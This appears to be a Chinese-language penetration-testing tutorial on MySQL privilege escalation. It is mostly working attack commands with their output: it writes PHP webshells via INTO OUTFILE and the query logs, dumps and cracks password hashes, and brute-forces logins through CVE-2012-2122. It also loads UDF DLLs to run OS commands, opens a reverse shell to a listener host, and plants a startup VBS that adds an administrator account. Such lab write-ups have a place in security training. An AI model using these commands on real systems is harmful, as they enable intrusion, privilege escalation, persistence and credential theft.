权限提升

获取数据库操作权限

  1. MySQL 3306 端口弱口令爆破
  2. sqlmap 注入的 --sql-shell 模式
  3. 网站的数据库配置文件中拿到明文密码信息
  4. CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限

CVE-2012-2122 简单的讲就是 当一个正确的用户名多次输入错误的密码会有几率可以直接成功登陆进数据库。

获取webshell权限

into outfile 写 shell

  • 知道网站物理路径
  • 高权限数据库用户
  • load_file () 开启 即 secure_file_priv 无限制
  • mysql对网站路径有写入权限

首先基础语法查询是否 secure_file_priv 没有限制

1
2
3
4
5
6
7
mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.02 sec)
value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制导出的目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

如果满足上述所有条件的话,那么可以尝试使用下面原生的 SQL 语句来直接写 shell:

1
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

sqlmap 中可以如下操作:

1
sqlmap -u "http://x.x.x.x/?id=1" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/shell.php"

一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。

日志写 shell

  • Web 文件夹宽松权限可以写入
  • 一般在Windows系统下可以使用(权限管控不严格)
  • 高权限运行 MySQL

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

1
2
3
4
5
6
7
mysql> show variables like "%general_log%";
+------------------+----------------------------------------------------------+
| Variable_name | Value |
+------------------+----------------------------------------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+----------------------------------------------------------+

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。

可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 更改日志文件位置
set global general_log="ON";
set global general_log_file='/var/www/html/x1ong.php';

mysql> show variables like "%general_log%";
+------------------+-------------------------+
| Variable_name | Value |
+------------------+-------------------------+
| general_log | ON |
| general_log_file | /var/www/html/x1ong.php |
+------------------+-------------------------+
# 往日志里面写入 payload
select '<?php phpinfo();?>';

# 此时就已经将payload写到x1ong.php文件中了
/Applications/MxSrvs/bin/mysql/bin/mysqld, Version: 5.7.19-log (Source distribution). started with:
Tcp port: 3306 Unix socket: /Applications/MxSrvs/tmp/mysql.sock
Time Id Command Argument
2023-07-25T10:09:00.549331+08:00 74089 Query show variables like "%general_log%"
2023-07-25T10:10:38.733738+08:00 74089 Query select '<?php phpinfo();?>'

这里虽然可以成功写入,但是这个 x1ong.php 是 MySQL 创建的 :

1
-rw-rw----  1 mysql  mysql   408  7 25 10:14 x1ong.php

我们访问这个 php 文件会出现 HTTP 500 的状态码,原因是:apache运行的用户对该文件没有 read 权限。结论是 Linux 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,不过这里还是可以当做小知识点来学习记录。

慢查询写 shell

因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。

如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中

1
2
3
4
5
6
7
mysql> show global variables like '%long_query_time%';
+-----------------+----------+
| Variable_name | Value |
+-----------------+----------+
| long_query_time | 10.000000 |
+-----------------+----------+
1 row in set (0.01 sec)

通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 开启慢查询日志
set global slow_query_log="ON";
# 设置慢查询的日志路径
set global slow_query_log_file="/var/www/html/x1ong.php";
# 当一个查询超过long_query_time所定义的值的时候,会将该查询记录到日志中
mysql> select '<?php phpinfo();?>' or sleep(10);
+-----------------------------------+
| '<?php phpinfo();?>' or sleep(10) |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set, 1 warning (10.00 sec)

# /var/www/html/x1ong.php 慢查询日志文件中的内容:
/usr/sbin/mysqld, Version: 5.7.38 (MySQL Community Server (GPL)). started with:
Tcp port: 3306 Unix socket: /var/lib/mysql/mysql.sock
Time Id Command Argument
# Time: 2023-07-25T02:26:26.779972Z
# User@Host: root[root] @ localhost [] Id: 3
# Query_time: 10.000190 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 0
SET timestamp=1690251986;
select '<?php phpinfo();?>' or sleep(10);

这里虽然也可以成功写入,但是这个 x1ong.php 是 MySQL 创建的 :

1
-rw-r----- 1 mysql mysql      409 7月  25 10:26 x1ong.php

我们访问这个 php 文件会出现 HTTP 500 的状态码,原理同日志写shell一样。

hash获取与解密

假设存在 SQL 注入 DBA 权限,如果目标 3306 端口也是可以访问通的话,可以尝试读取 MySQL 的 Hash 来解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# MySQL <= 5.6 版本
mysql> select host, user, password from mysql.user;
+-----------+------+-------------------------------------------+
| host | user | password |
+-----------+------+-------------------------------------------+
| localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 127.0.0.1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| ::1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| % | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-----------+------+-------------------------------------------+

# MySQL >= 5.7 版本
mysql > select host,user,authentication_string from mysql.user;
+-----------+---------------+-------------------------------------------+
| host | user | authentication_string |
+-----------+---------------+-------------------------------------------+
| localhost | root | *8232A1298A49F710DBEE0B330C42EEC825D4190A |
| localhost | mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| localhost | mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
+-----------+---------------+-------------------------------------------+

获取到的 MySQL Hash 值可以通过一些在线网站来解密,如国内的 CMD5 :

image-20230725103112040

或 somd5

image-20230725103146740

https://www.cmd5.com/

https://www.somd5.com/

CVE-2012-2122

漏洞简介:当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。按照公告说法大约256次就能够蒙对一次。

受影响的产品:

All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

漏洞危害:只要知道用户名,不断尝试就能够直接登入SQL数据库。

环境搭建基于docker:

1
2
3
4
# 拉取镜像
docker pull seuliu/cve-2012-2122
# 运行镜像 (将容器的3306端口映射至宿主机的13306端口)
docker run -it -d -p 13306:3306 --name='cve-2012-2122' seuliu/cve-2012-2122

漏洞验证:基于shell脚本

1
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P13306 ; done

具体参考:https://www.cnblogs.com/zhuxr/p/9553541.html

UDF提权

UDF 介绍

UDF 即 User Defined Function 即用户自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 那么方便,本提权仅适用与 Mysql 5.5.9 以下版本,超出该版本无法利用成功。

该方法主要是让原本不支持执行命令的mysql有了执行命令的函数(功能)。

案例演示场景

一台 Windows Server 2008 R2服务器安装 phpstudy 软件。并且网站存在 phpmyadmin 程序,且使用了 phpstudy 默认的数据库密码。即用户名root,密码root,我们成功登录到数据库。

通过信息收集发现:

1. 服务器的mysql开启了 secure_file_priv 允许用户导出文件到任意目录。
1. 但是由于这里并没有使用phpstudy默认的网站根目录,服务器不存在phpinfo页面以及PHP报错页面,我们无法通过 into outfile 写入木马到网站根目录当中。

手动复现

动态链接库

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmapMetasploit 里面都自带了对应系统的动态链接库文件。

sqlmap 的 UDF 动态链接库文件位置

sqlmap根目录/data/udf/mysql

这里以 kali linux 为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root💀kali)-[~]
└─# whereis sqlmap
sqlmap: /usr/bin/sqlmap /etc/sqlmap /usr/share/sqlmap /usr/share/man/man1/sqlmap.1.gz

┌──(root💀kali)-[~]
└─# cd /usr/share/sqlmap/data/udf/mysql

┌──(root💀kali)-[/usr/…/sqlmap/data/udf/mysql]
└─# ls
linux windows

┌──(root💀kali)-[/usr/…/sqlmap/data/udf/mysql]
└─# ls windows
32 64

┌──(root💀kali)-[/usr/…/sqlmap/data/udf/mysql]
└─# ls windows/32
lib_mysqludf_sys.dll_

不过 sqlmap 中自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:sqlmap安装位置/extra/cloak/cloak.py ,解码方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root💀kali)-[/usr/share/sqlmap/extra/cloak]
└─# pwd
/usr/share/sqlmap/extra/cloak

──(root💀kali)-[/usr/share/sqlmap/extra/cloak]
└─# python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o /root/Desktop/lib_mysqludf_sys_64.dll

┌──(root💀kali)-[/usr/share/sqlmap/extra/cloak]
└─# python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o /root/Desktop/lib_mysqludf_sys_32.dll

┌──(root💀kali)-[/usr/share/sqlmap/extra/cloak]
└─# python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o /root/Desktop/lib_mysqludf_sys_64.so

┌──(root💀kali)-[/usr/share/sqlmap/extra/cloak]
└─# python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o /root/Desktop/lib_mysqludf_sys_32.so

这里已经解码打包至蓝奏云网盘:https://x1ong.lanzouq.com/igUax13g7maf

metasploit 的 UDF 动态链接库文件位置:(基于kali)

1
/usr/share/metasploit-framework/data/exploits/mysql

image-20230725163234274

Metasploit 自带的动态链接库文件无需解码,开箱即可食用。不管是 sqlmap 或者是 Metasploit 的其内容都是一模一样的。

寻找插件目录

接下来的任务是把 UDF 的动态链接库文件放到 MySQL 的插件目录下,这个目录改如何去寻找呢?可以使用如下的 SQL 语句来查询:

1
2
3
4
5
6
mysql> show variables like "plugin_dir";
+---------------+-------------------------------------------+
| Variable_name | Value |
+---------------+-------------------------------------------+
| plugin_dir | C:\phpStudy\PHPTutorial\MySQL\lib\plugin\ |
+---------------+-------------------------------------------+

如果以上目录不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 plugin 文件夹。

写入动态链接库

写入动态链接库可以分为下面几种情形:

直接通过sqlmap写入

SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET字节长度限制,所以往往 POST 注入才可以执行这种攻击:

以下案例演示与POST型的SQL注入:

1
2
3
sqlmap -u "http://172.20.10.5/sql/Less-1/" --data="id=1" \
--file-write="/Users/x1ong/Downloads/lib_mysqludf_sys_32.dll" \
--file-dest="C:/phpStudy/PHPTutorial/MySQL/lib/plugin/udf.dll"

image-20230725165851638

image-20230725170127355

执行sql语句写入

将动态链接库文件先在本地进行十六进制编码,接着将编码的内容导出至udf.txt文件中(需要有secure_file_priv权限)

1
2
mysql> select hex(load_file('C:\lib_mysqludf_sys_32.dll')) into dumpfile C:\udf.txt";
Query OK, 1 row affected (0.00 sec)

注意:这里必须使用dumpfile,由于outfile导出的末行有换行符,导致内容跟原文件内容存在差异

这一步我们得到 lib_mysqludf_sys_32.dll 文件的十六进制内容。

接着在mysql命令行执行:

1
selext 0x4D5A90000300000004000000FFFF..... into dumpfile "C:/phpStudy/PHPTutorial/MySQL/lib/plugin/udf.dll"

这里国光大佬写了一个页面,我们只需要导出的路径即可:https://www.sqlsec.com/udf/

phpmyadmin 执行 sql 命令写入 dll 文件:

image-20230725172015757

使用 load_file() 函数查看该文件,如果返回该文件的内容证明写入成功:

image-20230725172228247

可以看到这里内容大小为6.5KB,说明写入成功。

创建函数并调用命令

首先查看 mysql 的用户自定义函数,发现并无任何函数:

1
2
mysql> select * from mysql.func;
Empty set (0.00 sec)

这里执行如下命令创建函数 sys_eval

1
mysql> create function sys_eval returns string soname 'udf.dll';

再次查看 mysql 的用户自定义函数:

1
2
3
4
5
6
7
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_eval | 0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

发现存在 sys_eval 函数,该函数可以调用系统命令。

1
2
3
4
5
6
7
mysql> select sys_eval("whoami");
+-------------------------------+
| sys_eval("whoami") |
+-------------------------------+
| win-ehv7hmk07c1\administrator |
+-------------------------------+
1 row in set (0.06 sec)

image-20230725172845220

至此 我们就可以通过 mysql 去执行系统命令,具体获取的权限取决于运行 mysql 程序的用户。

删除自定义函数

1
mysql > drop function sys_eval;

msf 相关模块利用

利用条件:mysql 允许远程登录

利用失败原因:服务器没有 plugin 目录

image-20230725184453857

利用成功案例:

image-20230725184911580

此时数据库中就存在 sys_exec() 函数

image-20230725184950953

使用 sys_exec() 函数调用系统命令,但是该函数随回执行命令,但是并不回返回命令的执行结果,只会返回执行的状态。成功返回0,执行失败返回1

image-20230725185131692

这里我们使用如下命令创建有命令执行回显的sys_eval函数

1
mysql> create function sys_eval returns string soname 'xExYzgAg.dll';

接着查看,发现已经创建了sys_eval函数,直接利用即可。

image-20230725185349550

UDF shell

假设目标 MySQL 在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,这个时候一些网页脚本就比较方便好用了。

https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php

简单方便,将该PHP脚本上传至网站目录,一键 DUMP UDF 和函数,操作门槛降低了很多:

image-20230725190114869

目标 MySQL 不允许外连,但是可以上传 PHP 脚本:

image-20230725191815043

这个时候可以使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上

image-20230725191907347

然后去访问,测试登录:

image-20230725192052449

接着使用 Navicat 连接的时候设置 HTTP 通道:

image-20230725192300297

这个时候主机地址填写 localhost 其他信息直接填写你要连接mysql的用户名和密码即可:

image-20230725192349126

连接成功后自然就可以愉快地进行手工 UDF 提权啦:

image-20230725192710185

反弹shell提权

实际上这是 UDF 提权的另一种用法,只是这里的动态链接库被定制过的,功能更多更实用一些:

1
2
3
4
5
6
7
8
9
10
cmdshell        # 执行cmd
downloader # 下载者,到网上下载指定文件并保存到指定目录
open3389 # 通用开3389终端服务,可指定端口(不改端口无需重启)
backshell # 反弹Shell
ProcessView # 枚举系统进程
KillProcess # 终止指定进程
regread # 读注册表
regwrite # 写注册表
shut # 关机,注销,重启
about # 说明与帮助函数

这个动态链接库有点历史了,不过还是被找到了蓝奏云:langouster_udf.zip

通过将 langouster_udf.php 文件上传至对方服务器,然后通过该文件登录到对方 mysql 中执行 mysql 指令。

udf.dll 文件放置对方的 plugin 目录下:

1
select 0x4D5A4B45524E454C33322E444C4... into dumpfile "C:/phpStudy/PHPTutorial/MySQL/lib/plugin/udf.dll"

下面尝试来使用这个 dll 来反弹 shell 试试看吧,首先在 172.20.10.2 上开启 NC 监听:

1
2
➜  ~ nc -lvvp 2333
Listening on any address 2333 (snapp)

创建对应函数:

1
create function backshell returns string soname 'udf.dll';

image-20230725233414866

查看函数是否创建:

image-20230725233430074

发现创建成功。直接反弹 shell :

1
select backshell("172.20.10.2", 2333);

image-20230725233529006

成功上线:

image-20230725233607030

启动项提权

这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。

手动复现

启动项路径

Windows Server 2003 的启动项路径:

1
2
3
4
5
6
7
8
9
10
11
# 中文系统
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动

# 英文系统
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

# 开关机项 需要自己建立对应文件夹
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown

Windows Server 2008 的启动项路径:

1
2
3
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

既然知道路径的话就往启动项路径里面写入脚本吧,脚本支持 vbs 和 exe 类型,可以利用 vbs 执行一些 CMD 命令,也可以使用 exe 上线 MSF 或者 CS 这方面还是比较灵活的。下面是一个执行基础命令的 VB 脚本:

1
2
3
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0

MySQL 写入启动项目

将上述 vbs 或者 CS 的马转十六进制直接写如到系统启动项中:

1
select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\system.vbs";

写入成功的时候就等待系统用户重新登录,登录成功的话,我们的自定义脚本也就会被执行。

image-20230725234739284

image-20230725234815910

MSF 启动项提权

目标系统为 Windows 的情况下可以直接使用该模块来上线 MSF,但是使用条件是 需要允许 mysql 外连。

image-20230725235701026

此时使用 exploit/multi/handler 模块进行监听:

image-20230725235852471

等待服务器重启或注销重新登录即可获取到一个webshell

image-20230725235929023